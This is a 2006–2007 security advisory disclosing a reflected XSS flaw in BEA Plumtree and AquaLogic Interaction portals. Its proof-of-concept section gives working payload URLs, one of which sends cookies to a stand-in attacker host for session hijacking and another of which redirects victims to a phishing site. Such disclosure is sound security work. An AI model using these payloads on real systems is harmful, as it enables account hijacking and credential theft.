PR06-12: XSS on BEA Plumtree Foundation and AquaLogic Interaction portals
Description:
BEA Plumtree Foundation portal 6.0 and BEA AquaLogic Interaction 6.1 are
vulnerable to a XSS vulnerability affecting the 'name' parameter which
is submitted to the '/portal/server.pt' server-side script.
Date found: 12th September 2006
Vendor contacted: 18th May 2007
Successfully tested on: BEA Plumtree Foundation 6.0.1.218452.
BEA Systems have confirmed the following versions to be affected:
BEA Plumtree Foundation 6.0 through service pack 1.
BEA AquaLogic Interaction 6.1 through service pack 1.
BEA Plumtree 5.0J.173033, 5.02, 5.03 and 5.4 are not affected by this issue.
Severity: Medium-High

ProCheckUp thanks BEA Systems for their co-operation.
Proof of concept:
The following requests launch a JavaScript alert box on the user's web
browser, simply to prove that is possible to run scripting code on the
victim's web browser.
Please note that '%22;}%3C/script%3E' is added at the beginning of every
payload in order to make the overall HTML document syntactically
correct, thus increasing the chance of the attack working on different
web browser types:
https://target-domain.foo/portal/server.pt?open=space&name=
https://target-domain.foo/portal/server.pt?open=space&name=%22;}%3C/script%3E%3Cscript%3Ealert('CanCrossSiteScript')%3C/script%3E%3C!--
The following requests allow session hijacking through cookie theft:
https://target-domain.foo/portal/server.pt?open=space&name=http://target-domain.foo/portal/server.pt?open=space&name=%22;}%3C/script%3E%3Cscript%3Ewindow.location="http://attackers-site.foo/grabber.php?c="%2bdocument.cookie%3C/script%3E%3C!--
The following requests allow password theft by redirecting to a
third-party 'spoof' site which would perform a phishing attack on the
victim:
https://target-domain.foo/portal/server.pt?open=space&name=http://target-domain.foo/portal/server.pt?open=space&name=%22;}%3C/script%3E%3Cscript%3Ewindow.location="http://phishers-site.foo%3C/script%3E%3C!--
HTML injection through this XSS vulnerability is also possible. This
allows advanced phishing attacks by inserting a HTML form within the
context of the victim website.
Consequences:
Scripting code can be run within the security context of the target
site. User accounts can be hijacked. Advanced phishing attacks can be
launched.
Note:
This vulnerability could be considered a medium-high risk (rather than
medium risk) in cases in which admin users are targeted, resulting in
the attacker gaining administrative privileges on the target
Plumtree/AquaLogic Portal.
Fix: this issue will be addressed in the 6.5 release of AquaLogic
Interaction.
